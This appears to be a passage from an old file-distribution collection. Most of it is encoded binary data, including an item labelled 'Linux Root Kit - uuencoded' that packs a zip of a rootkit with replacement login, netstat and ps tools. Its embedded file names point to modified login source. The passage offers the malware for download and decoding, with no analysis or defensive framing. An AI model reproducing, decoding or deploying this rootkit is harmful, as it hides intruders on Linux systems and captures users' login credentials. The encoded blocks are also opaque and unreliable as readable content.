hoJsm0I-woFFmI6i3ZV4rmtRi4EKhfohl1ex2PxErtBEJ2m4O89oIbt1aORnZ hXMzQTnCbfjYnJyv2uQgLVJMAYbaySy19ci4lERvS284uJWGeltnA-53lJmmZ hNn59OvLGoy+AZgTW67Ge6wOQJaDG-S8GyodEDgYJTus8qvp8fY8799XuEWpR hLGIyjPTm9OeGRJcgWwSmhkH82rpJXeza9rblaYiTje10u0ermOzhHu1E43aH h0TyOlhHuW4xk-2vulPccVVDji9gVcoABz96489y53YH+RzXJBmxoPT4FAE2D hK6Ctlq+8wF2rf-Dl4qYyELpo+gyNg2NoAkyd6LEa6-QZzuKO1AroVeZwkXzr hr5jy2gjM5cNCJDD34lwbbS5ze5qxgQszc-7zOmEn9joC1BeTSIYjlnSIy5ge h-FDJ+8qVaco6x+CJ6S8iBN-AFN-DDNhvI1NkSe-kk+ySfDit3bETzA65TUIC hDp1o0SGA5EdzcQNm6n7+oyne3moH0OrU6FgUF0qSwdDMaO+oWVvsiz9o4NN3 h5cLswbl847vCuvRXJXPdl2UA7nfl+zLSXN7rY43ug2cDBzAK41Jv-zhzqpIG hrKgSzIMtbPWS4xvUnsMGTxAYyTtCPbkgSxj5YJkqYHA7FdxUP6oylrASy0Ab hlAwQDi1LzjkdTS3EjCVImxaqa0zyIUHsxDJkD7xAc08NEqNOxtn6lIO30yu0 hk07uyQfZIlG89YQh0KMuhHmPN0Ba3NxD282bryM2kScWB07zNck0lz2OSt6A hJm39oVSqtSL1NLe0J356a3bsYIQSHw0emnaIPMKgV9ysocPixCBCOJjw9FzN hfC9LnP813p2P2Oc6nFryB3Zy6fuOs9p5HtduX7x4R-92s5Tk03Z7h0XsKmWe hXB7z+J-9+E6I-Uc++++++0igCW6++++++++++++++++5++++++++++++2+1z hEE++++-0MKtdQqUjI2g-+VE43+++++U+j3Bw62gKeAVz-+++QEg+++w+++++ h+++++E+U+9O-7E+++27VPaZnO0xWMKtdQqUiMp-9+E6I-Uc++++++0igCW6+ h+++++++++++++++8++++++++++++2+1zER22++-2NKpjPZ-dPaQjI2g-+VE4 h3+++++U+l4hm6-4QwBdc++++b++++-6++++++++++E+U+9O-yEE++2FZPKxi hI4ZiNmxBMKhZNaZgNJ-9+E6I-VE++++6+-pRT00v+gODwGA++Dhc+++E++++ h++++++2+6+0qUN23++-2NKpjPZ-dPaQjQ4ZiNmtXI2g-+VE40U++++++98ku h6U++++++++++++++++U++++++++++++E+Dx-g0Y++2FZPKxiIrIjI2g-+VE4 h0U++++++98ku6U+++++++++++++++-+++++++++++++E+Dx-pWY++2FZPKxi hIrIjIaJbRKlVQWxEGk203+M8+++++++gf1cW++++++++++++++++1k++++++ h+++++-++zo228U++F4JhPqtHRGxHO43YPrQjI2g-+VE40U++++++98ku6U++ h++++++++++++++k++++++++++++E+Dx-AGc++2FZPKxiJ4JgPaJo9p-9+E6I h-VE++++6+6UvvDHtYwyK1+M++6+A+++J++++++++++2+6+0qUJge++-2NKpj hPZFZP4tZR0xVRLFcNKtX9aBEGk203+MI++++0+06Cyno6zQmz1R2++1g++2+ h3U+++++++++-+0++hc4OA+++F4JhPqtINKliNLEjMqxhPK3iN5AiMp-9+E6I h-VE++++6+6UvvDFhVUlZB+I++7E8+++J++++++++++2+6+0qUEJp++-2NKpj hPZFZP4tZR0xYNKNdPaJn9aVEGk203+MI++++0+06CynoAfOWU2UE++-YBE++ h3E+++++++++-+0++hc3gSU++F4JhPqtINKliNLEjNLVoNL7iQmtcI2g-+VE4 h3+++++U+W1jgx5d4RGdu-+++pkU++-A++++++++++E+U+9O-tsc++2FZPKxi hJ4JgPaJo9qNYQqJo9aVEGk203+MI++++0+06CynoK3kRiII2++-h0+++3E++ h+++++++-+0++hc4GXk++F4JhPqtINKliNLEjNqJiNL7VP0tcI2g-+VE43+++ h++U+W1jgx+1U9rFr-+++u+k++-Q++++++++++++U+9O-0dE++2FZPKxiJ4Jg hPaJo9qldMbFZP4tZR0tVI2g-+VE43+++++U+W1jgx0MtoI9R0U++TFc++-6+ h+++++++++E+U+9O-hdU++2FZPKxiJ4JgPaJo9qpVOKsiMp-9+E6I-VE++++6 h+6UvvDFzEijXHk2++-o0+++I++++++++++2+6+0qUQCX++-2NKpjPZFZP4tZ hR0xBMKhZNaZgNJ-9+E6I-VE++++6+6UvvDHkdIm0f+U++0QG+++J++++++++ h++2+6+0qUIGZ++-2NKpjPZFZP4tZR0xiNLFrPr7f9aBEGk203+MI++++0+06 hCyno1MoeX6M-++-q+U++5U+++++++++-+0++hc2XfU++F4JhPqtINKliNLEj hIYJ-F2p39aFZPKxiR4JgPaJoI2g-+VE43+++++U+W1jgxBPltKYh0k++lW++ h+-6++++++++++E+U+9O-tOw++2FZPKxiJ4JgPaJo9r7dPaQiMp-9+E6I-VE+ h+++6+6UvvDF+sqQeOEM++1kC+++G++++++++++2+6+0qUI8v++-2NKpjPZFZ hP4tZR0xmOKtb9aVEGk203+MI++++0+06CynoJ1WwPtgU++0yN+++3E++++++ h+++-+0++hc5PkE++F4JhPqtINKliNLEjQrZnLq7nN0tXI2g-+VE43+++++U+ hW1jgx9mf1ZhMCE++EAw++-E++++++++++E+U+9O-eS6++2FZPKxiJ4JgPaJo h9rFZP4tZR0tXI2g-+VE43+++++U+W1jgx+RNQt0N++++DU2++-g+++++++++ h+E+U+9O-Alk-+2FZPKxiJ4JgPaJo9rFZP4tZR3xXPqpkMLEiO3-9+E6I-VE+ h+++6+6UvvDEv3RPPK+Y++7QJ+++K++++++++++2+6+0qUEIR+E-2NKpjPZFZ hP4tZR0xoNL7hOKtVP0tXI2g-+VE43+++++U+W1jgx4JNmfio1U++KmI++-E+ h+++++++++E+U+9O-YGM-+2FZPKxiJ4JgPaJo9rFiAn6rA0tXI2g-+VE43+++ h++U+W1jgxBS2x5am-+++B+Y++-A++++++++++E+U+9O-RnI-+2FZPKxiJ4Jg hPaJo9rFtQ4Jn9aVEGk203+MI++++0+06CynofMF8AvcJ++-NJE++3k++++++ h+++-+0++hc3OCU2+F4JhPqtINKliNLEjRLFdP4ZoOKJn9aBEGkI4+++++-o+ A5E-I-k++GJ+-++++ + end sum -r/size 30187/121254 section (from "begin" to "end") sum -r/size 44118/87987 entire input file 3. Linux Root Kit - uuencoded This linux root kit includes: Login, Netstat, Old Netstat, and, PS. begin 664 lroot.zip M4$L#!`H``````+2^1"+=R\9L*````"@````.````;&EN=7@N<F]O="YK:714 M:&ES(&ES('1H92!L:6YU>"!R;V]T(&MI="`M(&AA=F4@<'5N(0T*4$L#!`H` M`````+(;/B(````````````````&````;&]G:6XO4$L#!!0````(`'2>2QW) MZQYI=P0``-<+```+````;&]G:6XO9FEX+F.]5EEOXS80?I9^Q6R*NI*M.)); M(,%JY9?6!A8-TH=TGU(CD"7*)F)3!DDE<1;Y[YTA1?FHD^T!U#`DS7".;PX. M>='WH>]5_)G)84&?\RU\+ADR@"@NU(9+5D(M0#7K80&Y*.$VYT+?ZES#:!BC MV(7O?\=%L6I*!I_45EWH[8:IX7)\Q%:H\E>NYFMVQ-4EKP]9C>#()9Z_1N\0 MY')11/AX#'T$XQ&9^L4REUZ_3^S4_^I[C5!\(0B^Y(O[0A91T4C)A#;?FJTW MZ9X0:4/)JRJ)Z#F*YDUU-XIG*&,,(UA445K>);'AXF=3:/`H+J`'*G1LC^)Z MS%=0T<?=:!9!35\1"'H=RKW4@H%^(3BK6BS`V]2*:UX+9$P_7T^\/AG&0,'C M$18G2U+?1T9E$_'IIQ"^-BI?L"!,V3/701*FK[YOD)'$XUTRBWHMQ#!M5;&B MNT67HO!#%H?@C!P)8A2]O10>R:*_C4205="E*CHK-O"]PO]9Y%R9]X\S,F[E M=N*&]TT;HYFS]88-WS-ES`(75"]^GD[#\V`/NV6A/K5!MK\R,,JA$9A.4:*J M9<"S..6?KE(^&(2^A[T%`)0:TNXE(=`;,DN/Q\@80/Q\%<=Q:D392C'C"<;C M#+!ZWJL%.<J"0Y1Q'(['5XC56#X$24^#;O0_H"-]HW#>M4:6H:I-K7F>)ZZ5 M@@K-5_6&B:ZCX$P.YF=A"%D&-U^NK[%%C3.H;(&QK73)I$1!,W\^PL^Y^$$# M&<%:_R'.(M@K,VGNNA+Q58JQAZ"*XNOH=C+Y]7YR\PNMN)V359JM5D$5GB>7 MZ4[:+5N=V\GOI%-)EI<!;HTHN8R2J`H/THKZ-J]M4FDL\)EI_3:B+B87DHOH M.E<:DDN8;S53(&H-+TS6&)J+Z$U-FPN:P\62%0^X`P^U<`;$'35'_`^6:@N' MZPX=P8UGMF!IQ[FRG)'EO)L=6G^27+.C#%$-BE6M&"8Y]7S/>BZ6Z[KLFJ`= M.4.E[Y'-0@?JC:AO:M@PN>9*(0C0-<UDL6!`NCC$,8-X#!5+#'_%=ODX:`N' MHGX2IU`TO-PG%[S\MYC0`9-_&Y0]!>+94#_>*U9X&>RAR-L3P0HEIX76K9`Y M/DY*%`=FK*\&I;)]NX;1V3`4-9)+W()I6JNK,M\&/7MB]?!D^E:6;+_2/@+2 M@;H"M/!NC=2!*_$/7:'V"4^=\8;65-<!)@/&,.Q^[]K?=1ZOML;3SH5Z*TFX M+)ENI(`8=P2>P#YN7-J-*Q;1`&UO*$2G?G?QZ./2X7T%M=KSGD=0M)<`,)<` M<S\09J!8$0^Q5ZL%SM_XQ#0VKG$4_\=!3&;<]+$1=L6D"(UOSZ)JB:<EJB"4 M`FELJ@*'1`@?,IC\-NT`6(7!H#7<7C5Z<8+#MK5+C!,GECFR6B%W9A&;Z$%F M4N;('N)Q9Z6;CA@M;EP#J85BD]A!>3,UIL.M>NVRXY+3#42RC#35-;.E;',6 M(QN[HKVJ4<F/>_`++7UL6^UD@YK++!=XLY1LL\H+ML9["\SSXJ'96+U7_T]0 M2P,$%`````@`SIU+'9:Y)I?9`0``;@,```\```!L;V=I;B]G971P87-S+F.% M4E%KVS`0?I9^Q<UAB9R:NMO+!F[VTJ5=("S09(RQE.+(4BWF2D*2.\+2_?:> M;&\CT-$7V7?Z[KO[OM-(:=ZTE8!S'RIE3NL/=/0W%82[5\8?)R77H3E.M5IA M]7'.[WVN#.^A=%0)J;0@F\TWDN25>,A#V">4YE-8>-\*L,[<VP"EKL"),AZV MV<-/%6H0O#806J=%!49*F.:4UZ6#Z9T(MO2><:-]@#XW$*7T%R4^N)8'&%0` M=MQE>/CRH:"DAW.+OTIC-7XO%\LY3!%1Q-HR*-Z3VETKO[]Y^_ZFH`B6P!AB M8`:R,E9HUATH+(/5[?7'K]=I!HE+TA1F,_C\9;E,*2%]0;18([EHO,"D%P&9 M(UD&K)\G[0JZ/M$[)E4CM(D09-U<7,TWZPS&44E:O(A!H1U5A)_RVT8VY1V, M9_";S2\^K0Z+]>+JORSKHTZ42.O0)LE0@G`.%;[V2?;'[`*D;%I?#[==`;<H M.#J'':1QP(HB!5P*X9C'S?&N%5ZBHXQ'KR9;-X'#`89`_POFJ\MH(MGAT_C1 MEZ!A%LYA/.SFW4T'P'V>G"!_W.8CC2%$JK/),Q*2K=OJY-G97W"D][4;(N[U MU;#8.('DC?%BD$:)$_'=LC@DQH_T"5!+`P04````"`"YG4L=PB>=?<8B``"D M6@``#0```&QO9VEN+VQO9VEN+F.]7'MWVDBR_QL^18<YB24',/8DLY,PR5QB MXX0-!B_@3;))#E=&`C0&22L).]YL[F>_]:OJU@/LS.R]>S8GQR#UJ[JZWE7- MP;Z:+/U$17&XB)VUHJ^N%_O7GJOF<;A63YH_JE?C$Y6$\_3&B3WE!"YUJBJE MDLWE;]XL56FHTJ6G9F%T&_N+9:J",/5GGKKT5N%-LXJN$VJ/PIC[OCEO7+Q7 M2R>A#EZ@UM3YVDEIO<M;GL</9D[D7/HK/[W%V'"N]N)5N/"#O0/]Q=U3-#SR M8CW93\VGR@)@?VJV;(8G=H)D3NTWU#F\48G_#R\14(Z73K#PDN?\T%"OO<"+ MG96>"#`ZJ1\&3761>%AZ[LP`B>\EV)9RKAU_Y5RN/(Q6!*L>:'G-15,E7AK% M?A@3Y':^0V_EK_T`6VS*J(MT'1W<T!_J$[@K/UCDG0$!.@ITC#=],IN$8,!1 MS,+U&INE@01B!'`3;/K20Q\W@VP6!@&=#S43&M*E8A!S#/I-CQX#[T8)<LV: M;\[5W'/234S+K;QYJL)-^EQE_ZCS`A`3;BX=5\8J)TV]=90F6/;`2V<'E[2[ M>K5"_S"&CO56@7@2+V`:2&X3&EC-.D1.DMR$L:N\+Y$?W^8->_M\U+)*LO16 MJ[IR7*+`5/ES=1MN5.!Y>-3``S_?@?[OFS!UU&SIS:Z2>Q<W[YW`6=TFQ!"T MU=2+<88KE=Y&GK)2.FFSCGW7TNDR#F\"0D>V]MB;;4`8&0(S-!BR^)U_S*:Q M]_>-CP6P=9IAZ5P32RI+R,8VB#5;H$<Z&-5H@#-`.#22:6&K7X[OOI.DU+)G MMF*HHD-PI\!$X*>TB47,'ZZ7$C\D.?DZ[F^;!,Q,QS5WKL--3&-D>\PH=:%" MII$$&/%HFCK-,W<VJY2.(ETF+&(@";S@VH_#8$U$(U-<.[$/YJ,N2>(O`A$: M>V7Z?><I-U3[Q*U+0O,^X]E+-]&!LZ)35``[(2;WZFH3N)D(28%=D6M*,Y,; M$G_1_`O`>*#YYB#U5H&7N@<)(5.AA[=*-);._-G2\5;J]8H8PUK0W_]R'>+] MIGMEL^@)U]$&,(QGOA>0A#SQ(B=.S?XZ3KS<).HB(.D;)UKZG7C!VHFO>/[# M9\]:C=:?&JTGYO&PT7K6.'JBL-9SO9.?Z:1!#L^WJ*I!`NP&-+[R9^GJ%DB! M3`L:EZMP=@6*7(<NMD2GD<QB/TK#F)C$#$[2>.;0D9'4\A.>"K"#(GA9#=!1 MHT7_GQ(`WG-USD3)1YFDF_D<>.W[P>:+:C4/CZK[!QA4/=BOJGW"C=$>ULRF MF7YNU?'W3_SW9Q:$(V]!F!)VI,<<3WAS[*S\>1@'OM/$=)W52O%T8)G$BZ]9 M^/)*(\_U:3/^Y89%(XB-Q"8(-B%RG8F&NR1FCV\5S;A.6')%$``DY5Q,02+Y MVG=Y:T[*P#B7X?4=*E`H&>K5B1V2XM$2DV$*=X-S<#2K.`1NLIDMS8*!GMH) MB,?"V08DPGJICK&.2QM/_83/C*8@IE@E=1Y%1$_TE;VDS:]X#3`!S<\KW[5[ M9W9%1[KRW(67;RK3^3<.K()KTN>1($"KZON.H*Y>>?&5M_)NFZ+[`V?MZ7/# M\,*XM7/+BE4K+P#JD<J.H7UC()KL`]:![F:69K8))F'SA)&;PTFBC>2]2B)O MYL_]F6)MK&X@K*!;<88D.$B]8X+)F]Y8C8>GDW>=45?1]_/1\*^]D^Z)^N__ M[HSIQ=Z>Z@Q.U+O>Y,WP8D+?/ZCN^_-1=SQ6PQ%FZ)V=]WO4GR88=0:37G=< M5[W!<?_BI#=X7<\&]GMGO4EGTAL.ZK1HUPS##/E(-3Q59]W1\1L\ONKU>Y,/ MO/II;S+`BJ?#$0GA\\YHTCN^Z'=&ZOQB=#X<=[&5@VKU!W].TFP.HR"MDAB* M<V+\^%F]J-;^R_K!_G=RV:?@4_5.-OL4U-K5'^@024$?[//A`JA=*"&%Z8P8 MV&0V2WP7D"J&E(5M<U9YVGS24I:A)EL]/7AV\/.S^Q<082+FPD<AN\_YF\92 M+<,DQ>N*1?M06IB35DIG3;O0<:[R3E'L-9P-(2-(-<=RI^?*=5+GRD_KZ@O, M@WP2AD/]0!N%A3;ICB=$#F;_V+Y^18_!;+4AH5N#?%@WES7:%ZF3O.$74M0' MNO&EWG2UT#R#/<)-V:M-0`SNEM^1"B-#L?QN[:W#^+;\#JOA6';?IO[:VWU+ MA\XR<[=E[J^VWK()%29;74D4!0M^I]%%.M;[PMIF&6<OX^RMO"XMY8>DS[:F M)>/`V7KGQ7$0;J$ECLHOHILMQ)&2_&T=;<-,-OOESCL_O'=K9?RRZ77G^[4S MBPV&RH0"@UZ3RB8%0!FEY"V_2$N13'B2\9O.R?#=]/S=27'%I4..T59OPYN; M+\5S^\?N6:[$2I3A`(,V2_*9O`-I(,7^E;B$]--J-07IM-D885:G-_!</AX> M?2Z_!6M^//R)WWYK[Q)[#=8AV#+!]C/:.)]:B:TLNWH=^J0`(V)3$E;TUB(' M*$EE^GUZ9]MMZ4/<P!S,X@$=\39K!;@NM$BQ!?(E#L,41"QSFUF#;"!I*G=W M.B)%#-YYSTY($(J\V6EU0XU);L($9/=[:=9.KE<^4F#!;M`N3PD$`TGL$JS; MRV>(X@ZD?^/ZW>BBXRUTO-S,ZPHPS8+4#"#NRK>\\KS(^^*G&?#>M;-"\P\; M)K'SJ2'.RMONZ%5W-!P7B.O*BR\]XH.#JWB;RR"(<C&"E2NQYZS6'T?=3O]L M.O[;9SZJ"DT1D^1^H=Z.+XZ/27W6Q2*[@LW[0AVV[Z-ZH:G*9/+A]>A\T#GK M5FJ$BEJE`D6CC9A%'&XB&"KP\*@U@6C/N-%(_6P&,:!K;)G5F%]EQ;/.^_/. MY$V_.\#+;&#^6AVVCIZ@34`U$(N*8V_P,B1\)JRG0;5J0;HZ`&2B/I4:(&1A M9DY"N,TS)V`+SH.S153@PN(GP4/.$IQ#`I)D<+J'B`+9C&NR3,7"*",*2,:2 MX),7ZL=6JZTQ@--F%RIK_*F58UO$1(4];E?MD[B5\YJ3%PF_6:BW@C/^^-.3 MSW6U;_1U7>A3?R6LMZNZ+R%")$>K1:>_!:=>,%G0B$LE'VWS-L4$M-$90?FU M6CGN#2:CNCK^RT5O0A_C"=E:_#D\IX_N$`^O1F^KW[()5GJ&53;%^&*,SB?Z M<W0^&F#8:?]B_(8^WW5'G7&7OO0'W?>3:D'*"1>MPX`<8#;8*E]5[<].4*NK MVJEWB8\S)\9')XKEZ18??]X$\K'BMLVB5H?/5AM[$5X,9RD^!N$U/DZ\60VB M%>9)YL.0+0^G+%&3,"8V)7HZ_*E!2S:>_8AS9XZN:K%:$JF@?;OZM2KAIE3Y M[>SKW"5\8(S%[OUP.CIY-R+^YPZPJ2R?.K146_GJ%_2F+X\?V]ICG:W"Q+-\ MNWUW]Q_+O<F3.K+F9,.9`606TK-Z2719GG'N4H]O55!<=>WX@>7$BQGY3?'B MVJY6`#=>M*L5V=\^&MJTP8H'`R_@G;$54>>P6T#$:YID!+VE,42?^SIT01VT M9@0_7"-^%!7>K4')A1<B6?87,;V*O079<>3,L:!=%M_(8AC',"=7=36?KQQ: M>"D?D7R0>-9]6'F04*A+L,N=QM[?"6$PG`BH;,=N"+00_(FS2H7-\!1%ID=* MHO]C04(]5D?$I,R@'Q%C#>?6%&U3$G\VM1Z")?7D,Z#`LO6TCOZN]91%)\," M92JHXN>2.N8W6CF1>"`$F^>SSNN/9#7`%_!C!S3+>_96?NJ]:!7?&XM(9(/> MTCK2H@,R_L^;!!@E0KCTTQ@A`'I8DYA-"3$,RW,E<0O^1R-$;Y.=2!!9M<G? MF#>[D\;AR7A2J[?LMF@'X7(S#N9M=&L1Y/5:39.M>>^D\OZ&&HK/RZWGUGT# M6UL=TZWG!_1<1$I%;X%M9FO<>]WIC\[J&>*!=^GAK)QX;5F;0,?>",NVEO-Y MIWP:D:/T9=I[/;BK0V]0:L\ZY%%TZWS4&T[)+Q<=3MYJ"U:$G.*;SE^[T[]< M#"<=,Y+#N]9?IN/NY*)W(OWU$'T`=,8D'O=5@Z-8''$P$3[.&WCDT(IA!;>2 MWK@>H2Z\W8U'\BSS;!8$6*[\B+1MXI&0S`+CN=^(<(NLO2RN+1$;]IUC#N.# M0WFY0M"$O&O$07@X_8.^R]0\]#J';$BY(YH"S;YR9A)8@DO`01ZD&S#\P."* M]FQTJY6R1:<9&`]VX;C2.`"M&CU;5^7>^K7=.,08D2`DK-EATQ/O-??X>%E( M4=M2?T;ZDPR$2BZ7Q#ZKW"S)ZU`P.>F%^*\%>4U,-E\^CVJVK1Z\4-WA*0GP M2G+CDT)6-,2&,JX@7JGVYGO/$=XVBV/N2N62S,8KP*0[+:435`>MM?%=RY8Y M*AH-<R+)()U;Y.B1"LA3&S4="VAP[$XEF\B+&[!4R*Q:W2(88O."%=C#UJ$\ M?,.?90D@K*R1]^B1LJ(,A4:G`(DVM55-:#^+QUI17<E06[T@;-J\WGZD,4LK MZ7-FG8S9[D1!)"B([L*3Z?,K]]'1>NY^+W88.9O$69#$U/&8QCSZK#X:,^YS MAIL":@@S.&35>)&K6)RW>EQX`5RQ<I8C,A,2T%IE5RJD%/7VOW&`/GMUN&,B M5HP:U`-D1_S2(NDQZ0V/^R10ZNJ1Z6C?W6OP_K@OTL9@A10PMYY"(IWV<XU[ MSPRONQ.R&A^)F8H^\JV9+*9>C`-X078H+,A2TY6_`NS';WO]_MWSCON38YJ7 MS-1[%B;PT.%[[27`,CGZBMP*,MQ%`-UX>W`>`FXI914>/'C`+R>295%PVE8< M7E=OSB_>BV`RNJQ\'N;M%E2GO>%X\*HW+!]+)N;9:"3TB^QP4\X:D<0B*P)F MD7JICOA+HP%N$?.0'GEK,$]HG+%2^$!!<O+^A1I<]/OJG_\4.P8O]CZU]H04 MM<C4W*`=E]K#Y-=?R2S(+2-0J%D%?4"FM#`4WR*.+(;B:]6P.9N*XO424"1_ MTQ0=V,N:T>Z<-(V!DD<IJV%^GZ:\@_RQ.9O.F+,?O5#_\^;B_+AOYO#G$++D MRUIB[K'&%$'"HFBVI!,T;3\='>DVV7`Z2S(`)L?CCC@Z!`F#4LEU/2U9T/4P M/TAM72,7OZ$-JQMR?!03\H;=Z4HE:[MGGI/3OMGM-[T39+0@N<W.:)'8:\`- M48C/!77Z2[9*7:24<N8PIG,8F`HX7;5F$/04=/2D65V?/`P9T6H^>]9\RB]# M+PGVT@=9=^,F<5S((/\^%-GZV#5MT8'%6FLRKO<.2.#3WA\_9F^WHL68]$07 M;!,+DG2U1`T1D?6'KZ?#DVZ_\T&^=RXF;T3YYAS1:K>5EH9RBF6.VQ*/]\B# MDWLXC[=#LVOU.2_H^$JE&'FSM,`'_^E@E)6[^/`M63EE5@@;(6Q/F%X\`9:+ M;EQA].B&WF>S,/HJ\&5@;-RXC9?1S50,#8S4"&4XE=J:HX9HG]9/>H;:ER\U M/#.]580R6-/#5,P5?UUB:RS<7#^!Y-'6H*;L#.)<E!C@R/!@F(O!0:%G%K@0 MH2<TY6H5WL"T)*6/#(JH5[('`7,;8`$B/[@.K]C&E(%HK#-$/-P7PY)6W$OH M[7SNQ4WN:$"4DR,)0,#IPX1;10,$3QO#:I6R\5;8"TL*VI^Q!RR\HQGQ\:#4 M,Z<%L\\>=K&=>S$I2Z=8M$%.<2)C.*6S%..:S@'9PRCEMTC48R`9V?[\EGBW MO-<'A1W0<?#Q$)P/]LM4(P25&T[?]50:3WA34:3)BF:P:N<:[.>JEE'O`Q`W MS+BH3OX9"5;V7!\_+GFT%4PSBV_)"J9^"B0IDO'WG*4R2M/X5M>>(+8,!R71 MA'&Y2:4TA.B4"S.RFI>ZIA]OCDPQB*94]&,P6<V@E5WQ+C3]Z(\R70#!)J9N M<<!9J.S[)N5#4PTD\'#XDL_<@`N;.^MN%M7BPEC:QB(64UDR,A;$Y6`XZ1UW M"^8]O>P-%"TZZIY>C+LGZG0T/,/S<(`8+WVKY;V+J]55'KH485;)1,Z_N.1= M2VVME:U`OB=9R1M/\]-VE'V;P5)P&%=E$4:C&X54#^FY&0=!;L@'#>,UFVHW MX6;E-K.1U.3$'ND^]59'Z\LITCHH3;Q8GD$&Z@68(W,6;BJF3+(@21*%5W4F M399-Q,4RT`^RW+Z?)!L/-(S:"!W2ST@P%ZX@KJOX<DJ<-UUQCL#BO_5#0V:, M!TQ.7=3D]82A(J.5U"#W;,.3GCD@LQ7J.S:I"$L]B@/E+'`8!MD865'DQ2_] M2#H=Y.1,?!I[$)FT&G_:]6WQEV<M#.#4Z`?3]"JURJ==(T4ONV%ZJ%'_=)%F M+]5)][1ST9],)V\GTW[OM$NB,)(E,F``0LO.7$^S]`O5&TS>3H=OC?>[]M;4 MFV4."1225"LOH"=;>[7%K$JK#:7(&G&!X(G@19"0.Y+L_'XS]H*!2'UWG>*A M&F%9W]+H-@0WRQR[)#<+XEJ6TG*EUF<IX@>S,(Z]66J\49.*(/E+3R;/EML4 M+)5!H1U2W5D%9*+)C]K`&JQA#UO$!+Z7B&P5V_%'-"<I*J<N'?&/POD\5T2/ M'XMW\J/1N',QVEZ2K=8R9Y+EUTKQ!'Z[%9VS>'`#T^VKI[9QL;^Q`\>%I%S3 ME,>2&@V5;N*`@3(IG#QF=%<`D'7,'1$Y0+X=CRM0O/$S?A%%P&%U#N7T!G_M M]&6G$L^QN*T0T>F24!R-OQM]J$W"4*TA(7!NK#$6HBH<"`,7@9D)@KL+!%Q0 M(A7GH9IRS*,+A=KOG?V!:,>'<",%F:E9G2R0F9>@<#?>!`'*`797*493(F9# MJR9UJAGF[)HYN<+9M\1_*$0VN<HL"'VGV6SRJ5%3=$,RV=(N^U8-*9<PHB#0 M"=BT>JXZ8@V`2`N%63!A:4_LS@![+)Q='UP3QK<F1,F,+\X2:F9AJ*G!Z5BB MYY[+HR$DI2:UB3I-V`]A[,2^E",JE(MZ9(G.4O^:35-36XZY&_3,DZP=YIMB MW$%=$58$=#J;ZZ0)C2%Q4Q+G-+"IQ"?L2(DW-I2$*ZF!8]5FL$)ZB83Z%7(3 M;!%A"H*.NO7%'4+XU;EF(XKFY])X(]IM$0+:<S?9!1)8A93)9^T54O]I2E2Q M94USVX+;O(5IP[?<J\T"LCQUSE1T(/5"]KAQ>&3FXQ%.FHVP:@<U'8UX0[XH MVQMV<6R^%K:&U1N'^4(+T5=9.ZN2^K8UCV:3=J)M6,X,G)#!,&(=PY&$?"ZM ME#@ZH&<V/C9J>HFRG!59\KF_G:T?BT@IP67@]C3`WW9K7%AJ9<81RZQ<HT'; MF!W8.^KCG1.#H9_#2S$VD+%'Q$AQA=>S2@-36_!N^*[;?3NN6(=/]H^>[/_4 MHO]VU2@YQN&,+RD4/4.N3?=R,)"R@'R>N\ZM]2@E=6@5,HW_@+^S;\.]--&K M\M2VUC=IU$ROIV3P0\-L=2E:XV;78U*6M]`2M^#5S`E#_;=`Z.82;EM-?=,^ MMRHOW-A:EU2"05'Y"`2>-(4GQ'8:)PH?;4'=W@4Z.ZHRT`(PBRHRMA\2_3QT MB[Z#3L;3@HV7Z7I*C\AUFB?">UU-SJ8?NIW1]%5GW%6/L\9;SXG-EHNXSP_Q M7MSK+K^/>^(G"-9_$^IEAO\KZC70OXMZ`_-_!/.L\/0M`,X!R'T0TB@P\8!' M'876GC!D"EL=PD:<.<,?-AVU>:H+H.Q':!!+5=)@>!;S2O8O^.&"O$W*%7#B MK6O9;1K$G,^C7H793'-N`9><UNV9)#67NYQ;,W&*[DX04(O'_N/.&+3(&#&! M>3O&Z&!']D!"+BQ-ZUQFC20I&[T[R<=[\,MVEBDY<R[)*N+\#2)--XS\2N5. M])>1+V!N4D8V;NB\4#`233`D;XR,3HVTOBW@HX2-@(A*3U\[<+WK@YH-79*M M6$90!KL.S6X/1@V93>QVN+LB]%8V?&L!J=?;IJE[*`JO)>YU!SV91IE/')4Y MPNUT3)Q-YFM]4<-QW9@:/)0!W9`[#P,(_G'@I20SV>[*?)5[Z/&[U%BF11,` MTVX;"QG0!8>'Q4"YF)R=:YE&]D&JC5F8RAMZQ`D`)3JZ$KBF!VXT?2OY@:7P M5"$Z93%QZFHE6?,=K8FBI<[Y>7=P\L_A]-UH..A_L&T(:NV%F;34'&DNG@/Q M]N.WT^Y[`8:Y03>4Z':+:.^=Z&*@(SJ<G+K1O"?N6Z'^9.Y_F0)G3/=3.D8^ MYW(D/>!<0&]@^*%<E%(Z@ZSPU,J$?RD.N9,\Q5A.91->X)R"LMZ_?R](UR7^ MFN5OR$^FS>,3Y7*F/(/^<U':W9F&=[W!^&]U]8@&E1P>W;F8N2JZEV('6HM8 MV'T!9%AY42:=Y:]J$3=>+F+8L^KYEG6;3[^5_&H7JE1@8&X/\P,_Y3*NI'`$ M6YWN\):-IWPR?-<9#;8\98M$R#1E^5.J9>$\N.G)ER.S;"0"QN4&;?"_&K_I M(DV\=8QT:.+W!XIOA*)>U/63F1_Q5PFL>VJ6+,6Q-+9$%HXI+F92G<>\EKV3 M8QK0.9STQL?M>XY\)[FT[>;JNR9JTAV=*0\UKR8ZV(@4IRV,LM'%R5$F;:P' MEN7ID+Q4;-$<-5M2G;JPC%II6^XFHIZVS4%_I?*VFKM97];:61C%E`@5RH/4 M)B!'5_(0;*'!N_3X8J0&7G(97*O&^0?FH(ROOQ;N[NEIX4-A-_O[-B*RX<S2 M@H1?VN+Y:#VIAQ1U9-YKQPW*"9H1\F9XUJUMN96');KG;GRVA7[ZY`^S;#EJ M>%N?BQ29>:Y\6\94_B%TG9<349.]NQ@?4EW)P-9N.Y1]`1;ANCN`!EEFF?B3 M[BD^#5/!HBD7&WP/(W!3C0A>>0M4=H8JO/;BV'>]4C7#W"IZQH6#_2.@'19J M_$H0_I'AT]$01<O_XN'=BWEZEBY%];,F6_H+L1^)&%2?(WRR"8);)?'D=;(P M][1)A,"0X%0->Z<'V]@V51.D`6L/DP.D.V0[9YU>_Z0WJA>/U]ZN##$`HW.M MCDE:6Z"2"N1Z?%^N\IM[E5(H)R;NH8VH#^N._)<%$(%`QE"]\_9HF_PS`!S@ M)=7@SSF?QOG$0J#4`*.7O),T[[Z!8*H!3#DM7S\@T2^,Y`H?Y<FCWN!TB,+N M7J=_<4[.5)VS1&+.;Z'+Z,V=Y%PI*V=7BD;3KIFWD[=2-5"9V!?(5)%#IU-D MN3_'X&3S%'+O?VB^6EX-P+"7O5)M6\#2H#_BK(6I-NZW*(NK!PQMJ3)Q;:-+ 